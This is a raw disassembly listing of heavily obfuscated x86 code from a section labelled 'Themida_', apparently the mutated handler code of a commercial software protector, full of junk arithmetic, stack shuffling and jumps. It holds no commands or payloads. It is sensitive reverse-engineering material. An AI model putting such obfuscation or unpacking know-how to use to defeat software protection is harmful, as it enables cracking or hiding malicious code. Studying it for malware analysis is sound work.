; --------------------------------------------------------------------------- loc_552CD6: ; CODE XREF: Themida_:0055AF6Fj mov dh, bl pop ebx inc dh or dh, 0Ah xor dh, 0C4h jmp loc_558B96 ; --------------------------------------------------------------------------- loc_552CE6: ; CODE XREF: Themida_:00554169j add edx, edi push ebx mov bh, al mov [edx], bh mov ebx, [esp] jmp loc_558250 ; --------------------------------------------------------------------------- loc_552CF5: ; CODE XREF: Themida_:0055293Aj mov edi, esp jmp loc_5521C4 ; --------------------------------------------------------------------------- loc_552CFC: ; CODE XREF: Themida_:00557F93j pop esp jmp loc_5541D7 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55523D ; --------------------------------------------------------------------------- loc_552D0B: ; CODE XREF: Themida_:0055AB60j pop esp push ebp jmp loc_554F52 ; --------------------------------------------------------------------------- loc_552D12: ; CODE XREF: Themida_:00551E71j push esi mov esi, ecx jmp loc_55331E ; --------------------------------------------------------------------------- loc_552D1A: ; CODE XREF: Themida_:0055C11Fj add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx push 4A28h jmp loc_55D29A ; --------------------------------------------------------------------------- loc_552D37: ; CODE XREF: Themida_:00556E7Aj mov edx, 5CAF0D03h dec edx push 6DA8h mov [esp], esi push 4E15h jmp loc_55687B ; --------------------------------------------------------------------------- loc_552D4F: ; CODE XREF: Themida_:00558C96j xchg esi, [esp] jmp loc_55442A ; --------------------------------------------------------------------------- loc_552D57: ; CODE XREF: Themida_:0055D483j dec ecx sub ecx, 14460E32h add ebx, ecx mov ecx, [esp] push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_554139 ; --------------------------------------------------------------------------- loc_552D74: ; CODE XREF: Themida_:00553CBAj add esp, 4 jmp loc_551368 ; --------------------------------------------------------------------------- mov cx, [esp] push 396Dh mov [esp], edx mov edx, esp add edx, 4 push ecx mov ecx, 4 sub edx, ecx jmp loc_55212D ; --------------------------------------------------------------------------- loc_552D9D: ; CODE XREF: Themida_:00558D5Dj or [esp], ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_552DA7: ; CODE XREF: Themida_:00554F36j inc ebx xor ebx, 7B8520F2h mov ebp, ebx pop ebx mov edx, ebp pop ebp jmp loc_55B3EE ; --------------------------------------------------------------------------- loc_552DB9: ; CODE XREF: Themida_:00554D67j sub ch, al pop eax jmp loc_556721 ; --------------------------------------------------------------------------- loc_552DC1: ; CODE XREF: Themida_:00559A0Fj push ebp mov ebp, 39426DCAh mov ebx, ebp pop ebp sub ebx, 1 push 6C8Ah mov [esp], edx mov edx, 18D26EF1h or edx, 560B305Dh push edx xchg ebp, [esp] push ebp not dword ptr [esp] pop ebp xchg ebp, [esp] mov edx, [esp] add esp, 4 xor edx, 753AF08Fh push esi mov esi, 14965099h add ebx, esi pop esi add ebx, edx sub ebx, 14965099h mov edx, [esp] add esp, 4 jmp loc_559A73 ; --------------------------------------------------------------------------- loc_552E17: ; CODE XREF: Themida_:0055CE46j xor ebx, esi pop esi and eax, ebx pop ebx or eax, eax jz loc_551904 push dword ptr [edi+1Ch] mov ecx, [esp] sub esp, 4 mov [esp], edx mov edx, esp jmp loc_5554AE ; --------------------------------------------------------------------------- loc_552E38: ; CODE XREF: Themida_:00556B45j push eax mov ah, 50h and ah, 0F7h not ah jmp loc_55467A ; --------------------------------------------------------------------------- mov cx, [esp] push ecx jmp loc_55CD79 ; --------------------------------------------------------------------------- loc_552E4F: ; CODE XREF: Themida_:00557D49j mov ecx, 78497350h mov eax, 78497368h jmp loc_555E59 ; --------------------------------------------------------------------------- loc_552E5E: ; CODE XREF: Themida_:0055598Fj push ebx mov bh, ah mov cl, bh mov ebx, [esp] add esp, 4 mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov [edi+eax*4], cl jmp loc_5571A7 ; --------------------------------------------------------------------------- loc_552E87: ; CODE XREF: Themida_:00554511j add esp, 4 push edi mov edi, esp sub esp, 4 mov [esp], ecx mov ecx, 4 add edi, ecx pop ecx jmp loc_556934 ; --------------------------------------------------------------------------- loc_552EA3: ; CODE XREF: Themida_:0055D454j mov ebp, 24953FA5h push ecx push edx push ebp push 6A8E539Dh mov ebp, [esp] add esp, 4 and ebp, 7D265E99h add ebp, 684E0F0Ah add ebp, 40CB1B7Bh xor ebp, 1754D76h jmp loc_5543B2 ; --------------------------------------------------------------------------- loc_552ED6: ; CODE XREF: Themida_:005599D2j mov [esp], cx jmp loc_55C698 ; --------------------------------------------------------------------------- loc_552EDF: ; CODE XREF: Themida_:00555AA6j xor eax, esi push 1DF2h mov [esp], ebp push 3962h jmp loc_5526BB ; --------------------------------------------------------------------------- loc_552EF3: ; CODE XREF: Themida_:00555B20j mov edi, esp push 1974h mov [esp], ebp jmp loc_558EF3 ; --------------------------------------------------------------------------- loc_552F02: ; CODE XREF: Themida_:005571D5j sub ebp, 0F4AF7A00h xor ebp, edx pop edx add ebp, 450B0C39h inc ebp neg ebp shr ebp, 2 jmp loc_55341B ; --------------------------------------------------------------------------- loc_552F1C: ; CODE XREF: Themida_:0055C3F2j mov edi, 37F45CE4h jmp loc_55B474 ; --------------------------------------------------------------------------- loc_552F26: ; CODE XREF: Themida_:00554F0Ej pop edx add eax, 14D45602h push 35C7h jmp loc_558DC2 ; --------------------------------------------------------------------------- loc_552F36: ; CODE XREF: Themida_:0055C398j push 34DDh mov [esp], ebp mov ebp, 25965D46h shr ebp, 6 add ebp, 6A87E749h push ecx mov ecx, 6C7A7505h add ebp, ecx pop ecx shr ebp, 5 and ebp, 37D0AE9h sub ebp, 169253A3h sub ebp, 0EBA9AD01h add ebx, ebp pop ebp push edi mov edi, 7A3A506Fh neg edi xor edi, 21FF4BD3h push edx push edi mov edi, 685510E8h mov edx, edi jmp loc_55CBCA ; --------------------------------------------------------------------------- loc_552F89: ; CODE XREF: Themida_:00559DC8j mov esi, 2 push ebp mov ebp, 29E33649h jmp loc_559A14 ; --------------------------------------------------------------------------- loc_552F99: ; CODE XREF: Themida_:0055270Fj mov ebp, [esp] jmp loc_558F11 ; --------------------------------------------------------------------------- loc_552FA1: ; CODE XREF: Themida_:0055346Ej sub eax, 6E145C6Ch mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, 56B4564Ah push edi push edx push 33E53CFBh pop edx push ecx mov ecx, 2856EC43h sub edx, 8165E83h sub edx, ecx add edx, 8165E83h pop ecx push edx jmp loc_5585C5 ; --------------------------------------------------------------------------- loc_552FDA: ; CODE XREF: Themida_:0055491Aj mov eax, esp add eax, 4 jmp loc_55C066 ; --------------------------------------------------------------------------- loc_552FE6: ; CODE XREF: Themida_:00559FEEj pop edi mov eax, ebx pop ebx jmp loc_559969 ; --------------------------------------------------------------------------- loc_552FEF: ; CODE XREF: Themida_:00559672j xor al, dh mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55278C ; --------------------------------------------------------------------------- loc_553005: ; CODE XREF: Themida_:0055AE44j push dword ptr [esp] push dword ptr [esp] pop ebp push edx jmp loc_558277 ; --------------------------------------------------------------------------- loc_553012: ; CODE XREF: Themida_:0055A04Fj add ebp, ebx pop ebx shl ebp, 6 shl ebp, 8 push eax mov eax, 716743EAh add ebp, eax pop eax sub eax, ebp jmp loc_5598DF ; --------------------------------------------------------------------------- loc_55302B: ; CODE XREF: Themida_:00551BDCj pop esp xchg ebp, [esp] pop esp push 67E9h mov [esp], eax jmp loc_551368 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push ebp jmp loc_557081 ; --------------------------------------------------------------------------- loc_553049: ; CODE XREF: Themida_:0055B1BBj sub esi, 2E3CA5E0h add eax, esi pop esi push edi mov edi, 1F937A23h sub edi, 36B46C02h jmp loc_55A567 ; --------------------------------------------------------------------------- loc_553063: ; CODE XREF: Themida_:0055A24Aj pop edx mov edx, ebp pop ebp and eax, edx push dword ptr [esp] pop edx jmp loc_55A227 ; --------------------------------------------------------------------------- loc_553072: ; CODE XREF: Themida_:0055C9BFj mov [esp], edx push dword ptr [esp] mov eax, [esp] jmp loc_55874D ; --------------------------------------------------------------------------- loc_553080: ; CODE XREF: Themida_:0055A11Ej mov [esp], ebp push esi mov esi, 53CF13A7h sub esi, 147F2209h shl esi, 8 shr esi, 1 shl esi, 7 jmp loc_553C6D ; --------------------------------------------------------------------------- loc_55309C: ; CODE XREF: Themida_:005536FBj add eax, 53357E12h jmp loc_5581B7 ; --------------------------------------------------------------------------- push 4833h jmp loc_55D208 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 7C6Fh mov [esp], ecx mov ecx, esp sub esp, 4 mov [esp], ebx mov ebx, 50433EAFh add ebx, 5F0D5726h xor ebx, 183C5734h sub ebx, 49454BC5h jmp loc_5516C5 ; --------------------------------------------------------------------------- loc_5530E2: ; CODE XREF: Themida_:0055CCDDj pop eax sub [edi+24h], ecx push dword ptr [esp] pop ecx push 3DFh mov [esp], edx push esp pop edx push edi mov edi, 4 jmp loc_557514 ; --------------------------------------------------------------------------- loc_5530FF: ; CODE XREF: Themida_:005564A7j mov ax, [esp] push 462Eh mov [esp], ecx jmp loc_5565D8 ; --------------------------------------------------------------------------- loc_553110: ; CODE XREF: Themida_:0055948Bj sub bl, 0DFh mov ecx, [esp] jmp loc_5525AE ; --------------------------------------------------------------------------- loc_55311B: ; CODE XREF: Themida_:0055BA02j mov edx, 1FAC1401h jmp loc_55A103 ; --------------------------------------------------------------------------- loc_553125: ; CODE XREF: Themida_:00554316j sub esi, 0FF4A6F2Ah push ecx mov ecx, esi jmp loc_5595F4 ; --------------------------------------------------------------------------- loc_553133: ; CODE XREF: Themida_:00554B86j pop eax push eax push ebp jmp loc_5529B9 ; --------------------------------------------------------------------------- loc_55313B: ; CODE XREF: Themida_:00557ADCj add al, 60h jmp loc_557BB7 ; --------------------------------------------------------------------------- loc_553142: ; CODE XREF: Themida_:0055B443j push dword ptr [esp] pop ecx jmp loc_55AF5E ; --------------------------------------------------------------------------- loc_55314B: ; CODE XREF: Themida_:0055AEE0j mov esi, 0D5C789Ah jmp loc_55CAE3 ; --------------------------------------------------------------------------- loc_553155: ; CODE XREF: Themida_:00557ED2j dec ebx sub ebx, 16557A74h mov ecx, ebx pop ebx or ecx, 217B60C9h jmp loc_558C56 ; --------------------------------------------------------------------------- loc_55316A: ; CODE XREF: Themida_:0055908Ej push edx mov edx, 53C85D17h xor ebx, edx pop edx dec ebx not ebx jmp loc_5596B4 ; --------------------------------------------------------------------------- loc_55317B: ; CODE XREF: Themida_:0055426Fj and cl, bh jmp loc_55AA98 ; --------------------------------------------------------------------------- loc_553182: ; CODE XREF: Themida_:00551507j add esp, 4 sub ebx, 39D57149h add ebx, 13F200Bh sub ebx, eax push ebp mov ebp, 13F200Bh jmp loc_55C9FD ; --------------------------------------------------------------------------- loc_5531A1: ; CODE XREF: Themida_:00559CF0j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_554394 ; --------------------------------------------------------------------------- loc_5531B3: ; CODE XREF: Themida_:0055551Aj add [esp+4], ecx add dword ptr [esp+4], 2A77790Fh pop ecx pop eax add eax, 4 jmp loc_55B47F ; --------------------------------------------------------------------------- loc_5531CB: ; CODE XREF: Themida_:00559F56j push 2612h mov [esp], ebp mov ebp, 4 add [esp+4], ebp pop ebp pop dword ptr [esp] push 79EDh mov [esp], esi mov esi, 4 add [esp+4], esi mov esi, [esp] jmp loc_55BD00 ; --------------------------------------------------------------------------- loc_5531F9: ; CODE XREF: Themida_:00555FE3j mov eax, 745A21FCh and eax, 14EE7196h add eax, 0EBB5DE70h add edi, eax jmp loc_55CC34 ; --------------------------------------------------------------------------- loc_55320F: ; CODE XREF: Themida_:00556E44j add edi, edx pop edx sub eax, edi mov edi, [esp] push 573h mov [esp], ebp mov ebp, esp jmp loc_55B8C6 ; --------------------------------------------------------------------------- loc_553226: ; CODE XREF: Themida_:0055C55Bj pop ebp pop edi push edx mov edx, 511A26D7h or ebp, edx pop edx sub ebp, 51BAEDD7h or [edi+1Ch], ebp jmp loc_558D08 ; --------------------------------------------------------------------------- loc_55323F: ; CODE XREF: Themida_:0055B4E1j push ecx jmp loc_554010 ; --------------------------------------------------------------------------- loc_553245: ; CODE XREF: Themida_:00555942j shr ecx, 0 or eax, eax jz loc_559ED0 push 4D9h mov [esp], ebx jmp loc_55C7E6 ; --------------------------------------------------------------------------- loc_55325D: ; CODE XREF: Themida_:00556F6Cj xchg esi, ecx pop esi sub ecx, 74DA0AF0h jmp loc_558264 ; --------------------------------------------------------------------------- loc_55326B: ; CODE XREF: Themida_:00552BE5j push esp jmp loc_559E20 ; --------------------------------------------------------------------------- loc_553271: ; CODE XREF: Themida_:00558AF0j add bl, al pop eax add bl, 8Bh add bl, 0 add bl, al sub bl, 0 jmp loc_554792 ; --------------------------------------------------------------------------- loc_553284: ; CODE XREF: Themida_:00551DC8j sub ebp, 651E19h mov edx, ebp jmp loc_5596D0 ; --------------------------------------------------------------------------- loc_553291: ; CODE XREF: Themida_:00554FC8j mov [esp], dx push esi push small 44DBh mov si, [esp] add esp, 2 push small 0 sub word ptr [esp], 1F29h add word ptr [esp], 2838h sub [esp], si sub word ptr [esp], 2838h add word ptr [esp], 1F29h pop si add si, 25FAh push si add word ptr [esp], 1BC5h mov dx, [esp] add esp, 2 push cx mov cx, 1BC5h jmp loc_553EEE ; --------------------------------------------------------------------------- loc_5532E2: ; CODE XREF: Themida_:00553431j mov esi, 361B19E5h sub [esp+4], esi pop esi mov ebx, [esp] jmp loc_5546F1 ; --------------------------------------------------------------------------- loc_5532F4: ; CODE XREF: Themida_:0055C848j neg ah push 5A7Ch mov [esp], ebx mov bl, 0 add ah, bl jmp loc_55C39D ; --------------------------------------------------------------------------- loc_553307: ; CODE XREF: Themida_:0055A033j inc eax xor eax, 234E1B02h jmp loc_55782A ; --------------------------------------------------------------------------- loc_553312: ; CODE XREF: Themida_:0055148Aj mov esi, 8FFC22BEh sub esi, ecx jmp loc_554DE3 ; --------------------------------------------------------------------------- loc_55331E: ; CODE XREF: Themida_:00552D15j mov ebx, esi pop esi mov ecx, [esp] add esp, 4 shl ebx, 5 jmp loc_5582AA ; --------------------------------------------------------------------------- loc_553332: ; CODE XREF: Themida_:005583FDj mov [esp], ecx push edi mov edi, 48A1497h jmp loc_557E6B ; --------------------------------------------------------------------------- loc_553340: ; CODE XREF: Themida_:0055891Fj mov edx, ecx pop ecx add edi, 4DED46E6h add edi, edx jmp loc_555EDF ; --------------------------------------------------------------------------- loc_553350: ; CODE XREF: Themida_:00552A64j push ebp mov ebp, 4 add [esp+4], ebp pop ebp pop ebp push esi mov esi, 190521F8h and esi, 40A80460h jmp loc_55272E ; --------------------------------------------------------------------------- loc_55336D: ; CODE XREF: Themida_:0055669Fj shl edi, 2 sub edi, 524D00EAh push ebx jmp loc_55BC4D ; --------------------------------------------------------------------------- loc_55337C: ; CODE XREF: Themida_:005579CAj sub ecx, ebx sub ecx, 119A620Ah pop ebx jmp loc_55B6FD ; --------------------------------------------------------------------------- lodsd add eax, 6CB01A44h sub eax, 14D45602h add eax, 284B281Fh sub eax, ebx push edx mov edx, 284B281Fh jmp loc_554F0C ; --------------------------------------------------------------------------- loc_5533A7: ; CODE XREF: Themida_:005563D1j add eax, 65818F2Bh jmp loc_556DC7 ; --------------------------------------------------------------------------- loc_5533B1: ; CODE XREF: Themida_:00553601j sub edi, ecx mov ecx, [esp] add esp, 4 add edx, edi pop edi push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5527F8 ; --------------------------------------------------------------------------- loc_5533CA: ; CODE XREF: Themida_:0055CACFj and ebp, 3FAD24C7h add ebp, 7356274Ch dec ebp jmp loc_555A88 ; --------------------------------------------------------------------------- loc_5533DC: ; CODE XREF: Themida_:0055C5ECj add edi, 267B6FBCh jmp loc_554E72 ; --------------------------------------------------------------------------- loc_5533E7: ; CODE XREF: Themida_:005562D6j mov esp, [esp] jmp loc_555427 ; --------------------------------------------------------------------------- loc_5533EF: ; CODE XREF: Themida_:0055C652j mov dl, ch pop ecx add al, dl mov edx, [esp] add esp, 4 jmp loc_5576DD ; --------------------------------------------------------------------------- loc_5533FF: ; CODE XREF: Themida_:00557A8Fj add ebp, ebx jmp loc_553903 ; --------------------------------------------------------------------------- loc_553406: ; CODE XREF: Themida_:005543F4j mov [esp], esi jmp loc_55AE6E ; --------------------------------------------------------------------------- loc_55340E: ; CODE XREF: Themida_:0055810Bj push 5BBh mov [esp], edi jmp loc_551850 ; --------------------------------------------------------------------------- loc_55341B: ; CODE XREF: Themida_:00552F17j xor ebp, 2117A41Bh add edi, ebp pop ebp push edx mov edx, 2 jmp loc_5543F9 ; --------------------------------------------------------------------------- loc_55342F: ; CODE XREF: Themida_:00555A9Fj ; Themida_:00558F2Aj push ebx push esi jmp loc_5532E2 ; --------------------------------------------------------------------------- loc_553436: ; CODE XREF: Themida_:0055740Aj mov esp, [esp] and [esp], ax pushf jmp loc_55B3E0 ; --------------------------------------------------------------------------- loc_553443: ; CODE XREF: Themida_:005525B7j popa retn ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_551368 ; --------------------------------------------------------------------------- loc_55344C: ; CODE XREF: Themida_:005587A2j inc eax push ebp mov ebp, 44A2532Eh sub eax, ebp pop ebp neg eax add eax, 0FFFFFFFFh add eax, 3047AD22h add ebp, eax pop eax push edi mov edi, 6E145C6Ch add eax, edi pop edi sub eax, ebp jmp loc_552FA1 ; --------------------------------------------------------------------------- loc_553473: ; CODE XREF: Themida_:005560FDj sub ebx, edi pop edi add ebx, eax push edi mov edi, 2DC81FABh or edi, 766F573Dh add edi, 0D5521401h add ebx, edi pop edi pop eax jmp loc_55D526 ; --------------------------------------------------------------------------- loc_553493: ; CODE XREF: Themida_:00556C88j add bh, 8Fh and bh, 4Fh sub bh, 28h push edx mov dl, 3Fh xor dl, 68h sub dl, 0D4h xor bh, dl pop edx jmp loc_55A097 ; --------------------------------------------------------------------------- loc_5534AD: ; CODE XREF: Themida_:0055CD14j pop edx push eax jmp loc_554B68 ; --------------------------------------------------------------------------- loc_5534B4: ; CODE XREF: Themida_:0055C926j pop edi xor edx, 252A5F16h or edx, 0C3D7AD5h or edx, 6FDB1C73h sub edx, 6FFF7FF3h sub ebx, 6E5A1BDAh jmp loc_556102 ; --------------------------------------------------------------------------- loc_5534D8: ; CODE XREF: Themida_:005524F6j push 0E8Ah mov [esp], ebx mov ebx, 20h push edx push ebp mov ebp, 3C565E5Bh jmp loc_55416E ; --------------------------------------------------------------------------- loc_5534F1: ; CODE XREF: Themida_:00557964j pop cx jmp loc_552171 ; --------------------------------------------------------------------------- loc_5534F8: ; CODE XREF: Themida_:00551FF0j add [esp], al pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_553501: ; CODE XREF: Themida_:0055665Cj push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp ror byte ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_553513: ; CODE XREF: Themida_:00555C88j add edx, eax pop eax push ebx mov ebx, esp sub esp, 4 mov [esp], edx jmp loc_55841C ; --------------------------------------------------------------------------- loc_553527: ; CODE XREF: Themida_:0055A944j and eax, 508319A2h and eax, 164F4F3Ah inc eax jmp loc_5549A4 ; --------------------------------------------------------------------------- loc_553537: ; CODE XREF: Themida_:0055D126j sub ebp, 0F7EB1F94h jmp loc_5524A7 ; --------------------------------------------------------------------------- loc_553542: ; CODE XREF: Themida_:00559C48j push eax mov eax, 4DC11F01h xor eax, 670E2D45h neg eax add eax, 0D2D20AE2h jmp loc_555731 ; --------------------------------------------------------------------------- loc_553559: ; CODE XREF: Themida_:0055D4F7j push ecx mov ecx, esp push esi mov esi, 4 jmp loc_55577B ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax jmp loc_55C9E8 ; --------------------------------------------------------------------------- loc_553579: ; CODE XREF: Themida_:0055BF88j push 14FD79A0h mov ecx, [esp] add esp, 4 add ecx, 0EB028684h mov eax, ecx pop ecx add eax, edi push ecx mov ecx, 0 add ecx, 24C336E2h jmp loc_5546A8 ; --------------------------------------------------------------------------- loc_5535A3: ; CODE XREF: Themida_:00558945j add edi, edx pop edx xor edi, 6EFA6BD5h mov ecx, edi pop edi sub dword ptr [esp+4], 2F8527CBh add [esp+4], ecx add dword ptr [esp+4], 2F8527CBh jmp loc_55BA11 ; --------------------------------------------------------------------------- loc_5535C8: ; CODE XREF: Themida_:005575E2j sub ecx, 0E2DFDFFh sub ebx, ecx jmp loc_55BBE3 ; --------------------------------------------------------------------------- loc_5535D5: ; CODE XREF: Themida_:00554EE5j or dl, bl pop ebx jmp loc_5579CF ; --------------------------------------------------------------------------- loc_5535DD: ; CODE XREF: Themida_:00555625j pop edx pop edi jmp loc_55B30D ; --------------------------------------------------------------------------- loc_5535E4: ; CODE XREF: Themida_:005589B5j sub ebx, 5A4820E6h jmp loc_559F43 ; --------------------------------------------------------------------------- loc_5535EF: ; CODE XREF: Themida_:00557B72j sub ecx, 64084FDCh or ecx, 729842C2h sub ecx, 0A41CA6C9h jmp loc_5533B1 ; --------------------------------------------------------------------------- loc_553606: ; CODE XREF: Themida_:0055BB26j add esp, 4 jmp loc_551368 ; --------------------------------------------------------------------------- loc_55360E: ; CODE XREF: Themida_:0055BCE4j add esp, 4 add edx, 0BF4EE26Fh push edx xor dword ptr [esp], 7B9A6156h pop ecx jmp loc_558326 ; --------------------------------------------------------------------------- loc_553628: ; CODE XREF: Themida_:0055873Fj sub eax, 445C38E4h shr eax, 1 sub eax, 74A73223h or eax, 5BCE48F2h inc eax add eax, 3BB9EC78h add ebx, eax push dword ptr [esp] pop eax add esp, 4 mov esi, [esp] jmp loc_55952D ; --------------------------------------------------------------------------- loc_553650: ; CODE XREF: Themida_:0055450Bj push dword ptr [esp] pop ebx jmp loc_553E96 ; --------------------------------------------------------------------------- loc_553659: ; CODE XREF: Themida_:005572B7j pop esp sub esp, 4 jmp loc_551B8E ; --------------------------------------------------------------------------- loc_553665: ; CODE XREF: Themida_:005581BFj sub eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5538C6 ; --------------------------------------------------------------------------- loc_553676: ; CODE XREF: Themida_:0055B015j or bl, ah mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov dh, 0C0h and dh, 12h push ebx mov bh, 0E0h dec bh shl bh, 4 shl bh, 6 jmp loc_557DF2 ; --------------------------------------------------------------------------- loc_55369F: ; CODE XREF: Themida_:0055AAB5j jmp loc_551368 ; --------------------------------------------------------------------------- loc_5536A4: ; CODE XREF: Themida_:00553D5Ej push esp pop eax jmp loc_55B345 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_5536BB: ; CODE XREF: Themida_:0055B794j push ebx mov ebx, 0D811794h sub ebx, 8D67D7Dh or ebx, 7C3F4E03h xor ebx, 23CDBA62h xor ecx, ebx pop ebx add ecx, 0BC843C74h add edi, ecx pop ecx sub edi, 81716F87h add edx, edi pop edi push ebx mov ebx, 2 add edx, ebx pop ebx jmp loc_5587FE ; --------------------------------------------------------------------------- loc_5536F6: ; CODE XREF: Themida_:0055566Bj mov ebp, 4 jmp loc_55309C ; --------------------------------------------------------------------------- loc_553700: ; CODE XREF: Themida_:00551D08j and ebp, 3B5330DAh sub ebp, 327B57DEh neg ebp push 6F21h mov [esp], edi mov edi, 6F0F287Eh xor edi, 16D193Bh sub edi, 0FFB46A69h add ebp, edi jmp loc_55CCF4 ; --------------------------------------------------------------------------- loc_55372E: ; CODE XREF: Themida_:00555C52j add esi, 4 push edi push esi mov esi, 64D775ACh xor esi, 64D775A8h push esi jmp loc_55A24F ; --------------------------------------------------------------------------- loc_553747: ; CODE XREF: Themida_:005592B5j add ecx, 4 push ebp jmp loc_55BF57 ; --------------------------------------------------------------------------- loc_553753: ; CODE XREF: Themida_:0055D541j or esi, 3186E08h xor esi, 83B9FE89h and eax, esi push dword ptr [esp] mov esi, [esp] jmp loc_55A18C ; --------------------------------------------------------------------------- loc_55376C: ; CODE XREF: Themida_:0055CAD5j mov eax, 7E397463h jmp loc_55CF41 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5585D7 ; --------------------------------------------------------------------------- loc_55377F: ; CODE XREF: Themida_:0055C5AAj add dword ptr [esp], 4 mov esi, [esp] add esp, 4 add esi, 4 push edx jmp loc_55608A ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_55AE1A ; --------------------------------------------------------------------------- loc_5537A7: ; CODE XREF: Themida_:005589FBj add ebx, 494370C9h add ebx, eax sub ebx, 494370C9h mov ecx, [ebx] mov ebx, [esp] add esp, 4 mov eax, [esp] add esp, 4 push 376Dh jmp loc_555FD3 ; --------------------------------------------------------------------------- loc_5537D3: ; CODE XREF: Themida_:005526F7j push edi mov edi, 281B2720h sub edx, edi jmp loc_554167 ; --------------------------------------------------------------------------- loc_5537E0: ; CODE XREF: Themida_:0055C23Aj push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] div cl movzx cx, ah push ebp sub esp, 4 jmp loc_55C676 ; --------------------------------------------------------------------------- loc_5537FD: ; CODE XREF: Themida_:0055A530j mov [esp], edi jmp loc_55C8F7 ; --------------------------------------------------------------------------- loc_553805: ; CODE XREF: Themida_:0055BB0Cj mov ecx, 2D1262B0h push ebx mov ebx, 351F5CDCh sub ebx, 9891F77h not ebx xor ebx, 0C5F8A861h sub edi, ebx pop ebx add edi, ecx add edi, 11916AFBh jmp loc_55631F ; --------------------------------------------------------------------------- loc_55382E: ; CODE XREF: Themida_:0055B0CDj pop esi xor ebp, eax pop eax add ebp, 33C174A0h add ebp, 43CF9210h add eax, ebp pop ebp add eax, 4 xchg eax, [esp] jmp loc_55947A ; --------------------------------------------------------------------------- loc_55384E: ; CODE XREF: Themida_:00553E07j push edi jmp loc_55C18C ; --------------------------------------------------------------------------- loc_553854: ; CODE XREF: Themida_:0055716Ej shl eax, 7 sub eax, 71F554C3h mov ebp, eax pop eax jmp loc_558990 ; --------------------------------------------------------------------------- loc_553864: ; CODE XREF: Themida_:005591FAj xchg ebx, [esp] pop esp add eax, 2 jmp loc_55D0BB ; --------------------------------------------------------------------------- loc_553872: ; CODE XREF: Themida_:00557F8Bj push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_551368 ; --------------------------------------------------------------------------- push dword ptr [esp+4] push dword ptr [esp] mov eax, [esp] jmp loc_55552F ; --------------------------------------------------------------------------- loc_5538A1: ; CODE XREF: Themida_:00557610j mov edi, 5D80283Bh add edx, edi jmp loc_559CC6 ; --------------------------------------------------------------------------- loc_5538AD: ; CODE XREF: Themida_:005599F3j mov [esp], bx push eax sub esp, 4 mov [esp], ebx push ecx mov cl, 90h mov bl, 0F2h add bl, 37h push ecx jmp loc_554259 ; --------------------------------------------------------------------------- loc_5538C6: ; CODE XREF: Themida_:00553671j pop esp mov [esp], ax jmp loc_551368 ; --------------------------------------------------------------------------- loc_5538D0: ; CODE XREF: Themida_:0055BBBCj push esi mov esi, 645056C5h neg esi or esi, 58A23169h jmp loc_559FD3 ; --------------------------------------------------------------------------- loc_5538E3: ; CODE XREF: Themida_:00556A74j add ebx, edi jmp loc_551D0D ; --------------------------------------------------------------------------- loc_5538EA: ; CODE XREF: Themida_:00553962j pop edi jmp loc_552326 ; --------------------------------------------------------------------------- loc_5538F0: ; CODE XREF: Themida_:0055611Aj dec eax jmp loc_551D52 ; --------------------------------------------------------------------------- loc_5538F6: ; CODE XREF: Themida_:00557B2Fj mov eax, esp push edi jmp loc_553D1E ; --------------------------------------------------------------------------- loc_5538FE: ; CODE XREF: Themida_:005545B1j jmp loc_551368 ; --------------------------------------------------------------------------- loc_553903: ; CODE XREF: Themida_:00553401j sub ebp, 0A202C90h mov ebx, [esp] jmp loc_553ACD ; --------------------------------------------------------------------------- loc_553911: ; CODE XREF: Themida_:005517B1j add esp, 4 sub al, dl push edx mov dh, 66h jmp loc_551E01 ; --------------------------------------------------------------------------- loc_553921: ; CODE XREF: Themida_:0055824Bj mov esi, [esp] jmp loc_5561D3 ; --------------------------------------------------------------------------- loc_553929: ; CODE XREF: Themida_:0055586Aj add dh, 0EAh sub dh, 8Fh mov ch, dh pop edx xor ch, al jmp loc_558BB3 ; --------------------------------------------------------------------------- loc_553939: ; CODE XREF: Themida_:00551870j xor ecx, 1311AB2h mov eax, ecx pop ecx sub esi, 70434C97h add esi, eax add esi, 70434C97h pop eax jmp loc_551FA2 ; --------------------------------------------------------------------------- loc_553956: ; CODE XREF: Themida_:00553B89j xchg esi, [esp] mov esp, [esp] add ebx, 7EC6338h jmp loc_5538EA ; --------------------------------------------------------------------------- loc_553967: ; CODE XREF: Themida_:00558577j pop edi jmp loc_55B4DD ; --------------------------------------------------------------------------- loc_55396D: ; CODE XREF: Themida_:0055B1D3j sub eax, 3FBF01CFh jmp loc_55D216 ; --------------------------------------------------------------------------- loc_553977: ; CODE XREF: Themida_:0055AD48j pop esp push edx jmp loc_55C11D ; --------------------------------------------------------------------------- loc_55397E: ; CODE XREF: Themida_:00552529j xor ebx, 72E6CD0Bh xor eax, ebx push dword ptr [esp] pop ebx add esp, 4 push ecx push ebp mov ebp, 4302721Dh dec ebp neg ebp sub ebp, 536C36CBh mov ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_5592E3 ; --------------------------------------------------------------------------- loc_5539B0: ; CODE XREF: Themida_:0055424Cj sub ebx, 0A9425BB8h mov esi, ebx jmp loc_552B17 ; --------------------------------------------------------------------------- 